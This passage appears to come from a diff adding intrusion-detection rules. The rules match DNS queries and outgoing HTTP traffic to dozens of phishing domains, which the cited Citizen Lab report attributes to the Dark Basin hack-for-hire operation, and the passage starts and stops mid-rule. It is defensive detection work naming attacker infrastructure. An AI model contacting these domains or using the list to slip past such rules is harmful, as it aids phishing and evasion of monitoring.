nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mrgrhr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357463; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msgrdrg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msgrdrg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356991; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msgrdrg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msgrdrg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356992; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msgrdrg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msgrdrg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msgrdrg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356993; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msrdr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|msrdr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357491; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msrdr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|msrdr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357492; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msrdr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msrdr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msrdr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357493; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msrfrgr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msrfrgr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354141; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msrfrgr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msrfrgr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354142; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msrfrgr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msrfrgr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msrfrgr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354143; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msrvrgeh.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|msrvrgeh|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354241; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msrvrgeh.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|msrvrgeh|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354242; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msrvrgeh.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msrvrgeh.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msrvrgeh\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354243; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msrvrgh.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msrvrgh|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354251; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msrvrgh.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|msrvrgh|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354252; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msrvrgh.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msrvrgh.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msrvrgh\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354253; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: msrwr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|msrwr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357501; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: msrwr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|msrwr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357502; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: msrwr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"msrwr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])msrwr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357503; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mvrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mvrsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357391; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mvrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mvrsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357392; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mvrsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mvrsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mvrsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357393; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: myfacetik.cf"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|myfacetik|02|cf|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354051; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: myfacetik.cf"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|myfacetik|02|cf|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354052; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: myfacetik.cf"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"myfacetik.cf"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])myfacetik\.cf[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354053; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mylinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|mylinbas|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356041; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mylinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|mylinbas|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356042; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mylinbas.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mylinbas.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mylinbas\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356043; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mywebredirect.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mywebredirect|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353581; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mywebredirect.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|mywebredirect|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353582; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mywebredirect.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mywebredirect.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mywebredirect\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353583; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: nameserver3476.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|nameserver3476|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357191; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: nameserver3476.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|nameserver3476|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357192; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: nameserver3476.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"nameserver3476.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])nameserver3476\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357193; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: nameserverredirect.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|nameserverredirect|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357251; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: nameserverredirect.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|nameserverredirect|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357252; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: nameserverredirect.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"nameserverredirect.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])nameserverredirect\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357253; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netcomserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|netcomserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353481; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netcomserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|netcomserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353482; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netcomserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netcomserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netcomserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353483; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netgeoserversg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|netgeoserversg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355241; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netgeoserversg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|netgeoserversg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355242; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netgeoserversg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netgeoserversg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netgeoserversg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355243; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netmapservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|netmapservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354201; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netmapservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|netmapservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354202; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netmapservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netmapservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netmapservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354203; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netsecureemailservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|netsecureemailservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354531; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netsecureemailservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|netsecureemailservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354532; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netsecureemailservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netsecureemailservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netsecureemailservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354533; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netsecurehostingmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|netsecurehostingmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354941; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netsecurehostingmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|netsecurehostingmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354942; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netsecurehostingmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netsecurehostingmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netsecurehostingmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354943; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netsecuremailhosting.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|netsecuremailhosting|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355081; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netsecuremailhosting.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|netsecuremailhosting|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355082; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netsecuremailhosting.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netsecuremailhosting.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netsecuremailhosting\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355083; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netsecureserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|netsecureserver399|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354461; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netsecureserver399.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|netsecureserver399|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354462; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netsecureserver399.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netsecureserver399.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netsecureserver399\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354463; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: netserviceru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|netserviceru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355471; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: netserviceru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|netserviceru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355472; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: netserviceru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"netserviceru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])netserviceru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355473; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: networkshareserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|networkshareserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354391; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: networkshareserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|networkshareserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354392; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: networkshareserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"networkshareserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])networkshareserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354393; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: newserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|newserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353371; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: newserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|newserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353372; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: newserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"newserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])newserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353373; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: nigeriaoilleaks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|nigeriaoilleaks|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357761; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: nigeriaoilleaks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|nigeriaoilleaks|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357762; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: nigeriaoilleaks.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"nigeriaoilleaks.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])nigeriaoilleaks\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357763; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: nodeserver50.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|nodeserver50|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353641; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 